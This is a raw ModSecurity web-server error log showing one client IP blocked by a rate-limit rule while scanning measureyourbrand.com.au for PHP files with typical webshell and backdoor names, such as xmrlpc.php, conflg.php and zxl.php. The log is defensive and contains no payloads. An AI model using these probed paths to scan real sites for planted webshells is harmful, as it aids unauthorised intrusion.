[Thu Dec 25 21:41:43.260115 2025] [:error] [pid 27869:tid 27894] [client 4.193.224.251:16818] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aU0_FxNK7_n86kBD7qfNjQAAAJc"]
[Thu Dec 25 21:41:43.996979 2025] [:error] [pid 22045:tid 22103] [client 4.193.224.251:11161] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aU0_F6sGGmXjDnvlmHtk-wAAAUE"]
[Thu Dec 25 21:41:44.576091 2025] [:error] [pid 22131:tid 22150] [client 4.193.224.251:11212] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aU0_GJvVMtSTB4lX2fYsSQAAAE8"]
[Thu Dec 25 21:41:45.874727 2025] [:error] [pid 22045:tid 22119] [client 4.193.224.251:11250] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aU0_GasGGmXjDnvlmHtlAAAAAVE"]
[Thu Dec 25 21:41:47.362227 2025] [:error] [pid 22044:tid 22077] [client 4.193.224.251:11158] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aU0_G3PTC5rQKTB0FQ-TsgAAAMI"]
[Thu Dec 25 21:41:49.666321 2025] [:error] [pid 22045:tid 22111] [client 4.193.224.251:11162] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aU0_HasGGmXjDnvlmHtlBAAAAUk"]
[Thu Dec 25 21:41:50.255737 2025] [:error] [pid 27869:tid 27892] [client 4.193.224.251:11144] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aU0_HhNK7_n86kBD7qfNmQAAAJU"]
[Thu Dec 25 21:41:51.842883 2025] [:error] [pid 22131:tid 22135] [client 4.193.224.251:11141] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aU0_H5vVMtSTB4lX2fYsUgAAAEI"]
[Thu Dec 25 21:41:52.708744 2025] [:error] [pid 22131:tid 22143] [client 4.193.224.251:11173] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aU0_IJvVMtSTB4lX2fYsVQAAAEk"]
[Thu Dec 25 21:41:53.704491 2025] [:error] [pid 22044:tid 22090] [client 4.193.224.251:11072] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aU0_IXPTC5rQKTB0FQ-TwwAAAM8"]
[Thu Dec 25 21:41:54.994931 2025] [:error] [pid 22043:tid 22056] [client 4.193.224.251:11243] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aU0_Ij4YVtlb2Iz_QE5JbQAAAAg"]
[Thu Dec 25 21:41:56.032603 2025] [:error] [pid 22131:tid 22144] [client 4.193.224.251:11082] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aU0_JJvVMtSTB4lX2fYsWAAAAEo"]
[Thu Dec 25 21:41:56.990264 2025] [:error] [pid 27869:tid 27881] [client 4.193.224.251:16869] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aU0_JBNK7_n86kBD7qfNqwAAAIo"]
[Thu Dec 25 21:41:57.750079 2025] [:error] [pid 22044:tid 22094] [client 4.193.224.251:11165] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/go.php"] [unique_id "aU0_JXPTC5rQKTB0FQ-TygAAANM"]
[Thu Dec 25 21:41:58.866181 2025] [:error] [pid 27869:tid 27883] [client 4.193.224.251:11254] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/go.php"] [unique_id "aU0_JhNK7_n86kBD7qfNsQAAAIw"]
[Thu Dec 25 21:41:59.843688 2025] [:error] [pid 22045:tid 22109] [client 4.193.224.251:16812] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/go.php"] [unique_id "aU0_J6sGGmXjDnvlmHtlDQAAAUc"]
[Thu Dec 25 21:42:00.303813 2025] [:error] [pid 22045:tid 22118] [client 4.193.224.251:16777] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/go.php"] [unique_id "aU0_KKsGGmXjDnvlmHtlDgAAAVA"]
[Thu Dec 25 21:42:00.991504 2025] [:error] [pid 22043:tid 22067] [client 4.193.224.251:11111] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aU0_KD4YVtlb2Iz_QE5JdgAAABM"]
[Thu Dec 25 21:42:01.663626 2025] [:error] [pid 27869:tid 27890] [client 4.193.224.251:16808] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aU0_KRNK7_n86kBD7qfNuAAAAJM"]
[Thu Dec 25 21:42:02.495709 2025] [:error] [pid 27869:tid 27888] [client 4.193.224.251:11211] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aU0_KhNK7_n86kBD7qfNvAAAAJE"]
[Thu Dec 25 21:42:03.072901 2025] [:error] [pid 22043:tid 22051] [client 4.193.224.251:11138] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aU0_Kz4YVtlb2Iz_QE5JeAAAAAM"]
[Thu Dec 25 21:42:03.511808 2025] [:error] [pid 22043:tid 22048] [client 4.193.224.251:11109] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aU0_Kz4YVtlb2Iz_QE5JegAAAAA"]
[Thu Dec 25 21:42:04.170994 2025] [:error] [pid 22044:tid 22085] [client 4.193.224.251:11195] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aU0_LHPTC5rQKTB0FQ-T0AAAAMo"]
[Thu Dec 25 21:42:05.560354 2025] [:error] [pid 22131:tid 22145] [client 4.193.224.251:11262] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aU0_LZvVMtSTB4lX2fYsZQAAAEs"]
[Thu Dec 25 21:42:06.419331 2025] [:error] [pid 22045:tid 22114] [client 4.193.224.251:11036] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aU0_LqsGGmXjDnvlmHtlEgAAAUw"]
[Thu Dec 25 21:42:07.255624 2025] [:error] [pid 22043:tid 22057] [client 4.193.224.251:11073] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aU0_Lz4YVtlb2Iz_QE5JfwAAAAk"]
[Thu Dec 25 21:42:08.693130 2025] [:error] [pid 22131:tid 22157] [client 4.193.224.251:11159] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aU0_MJvVMtSTB4lX2fYsawAAAFU"]
[Thu Dec 25 21:42:09.733244 2025] [:error] [pid 22044:tid 22098] [client 4.193.224.251:11239] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aU0_MXPTC5rQKTB0FQ-T3AAAANc"]
[Thu Dec 25 21:42:10.377956 2025] [:error] [pid 22044:tid 22093] [client 4.193.224.251:10959] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aU0_MnPTC5rQKTB0FQ-T3wAAANI"]
[Thu Dec 25 21:42:10.971704 2025] [:error] [pid 22044:tid 22097] [client 4.193.224.251:11244] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aU0_MnPTC5rQKTB0FQ-T4QAAANY"]
[Thu Dec 25 21:42:11.579500 2025] [:error] [pid 22044:tid 22090] [client 4.193.224.251:11261] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aU0_M3PTC5rQKTB0FQ-T5QAAAM8"]
[Thu Dec 25 21:42:12.118486 2025] [:error] [pid 22045:tid 22103] [client 4.193.224.251:11107] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aU0_NKsGGmXjDnvlmHtlFAAAAUE"]
[Thu Dec 25 21:42:12.667049 2025] [:error] [pid 22044:tid 22080] [client 4.193.224.251:11167] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aU0_NHPTC5rQKTB0FQ-T6gAAAMU"]
[Thu Dec 25 21:42:13.383267 2025] [:error] [pid 22045:tid 22121] [client 4.193.224.251:16853] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aU0_NasGGmXjDnvlmHtlFgAAAVM"]
[Thu Dec 25 21:42:14.114452 2025] [:error] [pid 22044:tid 22086] [client 4.193.224.251:11123] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aU0_NnPTC5rQKTB0FQ-T7QAAAMs"]
[Thu Dec 25 21:42:15.291884 2025] [:error] [pid 22131:tid 22152] [client 4.193.224.251:11240] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aU0_N5vVMtSTB4lX2fYscQAAAFE"]
[Thu Dec 25 21:42:16.068437 2025] [:error] [pid 22131:tid 22144] [client 4.193.224.251:11080] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aU0_OJvVMtSTB4lX2fYscgAAAEo"]
[Thu Dec 25 21:42:16.508032 2025] [:error] [pid 27869:tid 27879] [client 4.193.224.251:11156] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aU0_OBNK7_n86kBD7qfNzgAAAIg"]
[Thu Dec 25 21:42:18.245486 2025] [:error] [pid 22045:tid 22118] [client 4.193.224.251:11220] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aU0_OqsGGmXjDnvlmHtlIAAAAVA"]
[Thu Dec 25 21:42:19.287570 2025] [:error] [pid 27869:tid 27882] [client 4.193.224.251:11174] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aU0_OxNK7_n86kBD7qfN0wAAAIs"]
[Thu Dec 25 21:42:19.979041 2025] [:error] [pid 22043:tid 22072] [client 4.193.224.251:11145] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aU0_Oz4YVtlb2Iz_QE5JiwAAABg"]
[Thu Dec 25 21:42:20.476562 2025] [:error] [pid 22131:tid 22137] [client 4.193.224.251:11172] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aU0_PJvVMtSTB4lX2fYsewAAAEQ"]
[Thu Dec 25 21:42:21.132429 2025] [:error] [pid 22131:tid 22135] [client 4.193.224.251:16806] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aU0_PZvVMtSTB4lX2fYsfgAAAEI"]
[Thu Dec 25 21:42:21.610395 2025] [:error] [pid 27869:tid 27888] [client 4.193.224.251:11191] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aU0_PRNK7_n86kBD7qfN1QAAAJE"]
[Thu Dec 25 21:42:22.197897 2025] [:error] [pid 22044:tid 22088] [client 4.193.224.251:11160] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aU0_PnPTC5rQKTB0FQ-T9AAAAM0"]
[Thu Dec 25 21:42:22.801639 2025] [:error] [pid 22043:tid 22057] [client 4.193.224.251:11232] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aU0_Pj4YVtlb2Iz_QE5JjwAAAAk"]
[Thu Dec 25 21:42:24.028200 2025] [:error] [pid 22044:tid 22075] [client 4.193.224.251:11110] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aU0_QHPTC5rQKTB0FQ-T9wAAAMA"]
[Thu Dec 25 21:42:24.757878 2025] [:error] [pid 22043:tid 22048] [client 4.193.224.251:11077] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aU0_QD4YVtlb2Iz_QE5JmQAAAAA"]
[Thu Dec 25 21:42:25.518190 2025] [:error] [pid 27869:tid 27878] [client 4.193.224.251:11046] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aU0_QRNK7_n86kBD7qfN1gAAAIc"]
[Thu Dec 25 21:42:26.332425 2025] [:error] [pid 27869:tid 27871] [client 4.193.224.251:11140] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aU0_QhNK7_n86kBD7qfN1wAAAIA"]
[Thu Dec 25 21:42:27.147941 2025] [:error] [pid 27869:tid 27875] [client 4.193.224.251:11233] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aU0_QxNK7_n86kBD7qfN2gAAAIQ"]
[Thu Dec 25 21:42:27.632995 2025] [:error] [pid 22044:tid 22083] [client 4.193.224.251:11088] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aU0_Q3PTC5rQKTB0FQ-UAAAAAMg"]
[Thu Dec 25 21:42:28.260723 2025] [:error] [pid 22044:tid 22079] [client 4.193.224.251:11178] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aU0_RHPTC5rQKTB0FQ-UBQAAAMQ"]
[Thu Dec 25 21:42:28.638805 2025] [:error] [pid 22044:tid 22090] [client 4.193.224.251:11201] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aU0_RHPTC5rQKTB0FQ-UBwAAAM8"]
[Thu Dec 25 21:42:29.554688 2025] [:error] [pid 22043:tid 22062] [client 4.193.224.251:11203] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aU0_RT4YVtlb2Iz_QE5JpwAAAA4"]
[Thu Dec 25 21:42:30.328468 2025] [:error] [pid 22045:tid 22122] [client 4.193.224.251:11176] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aU0_RqsGGmXjDnvlmHtlLgAAAVQ"]
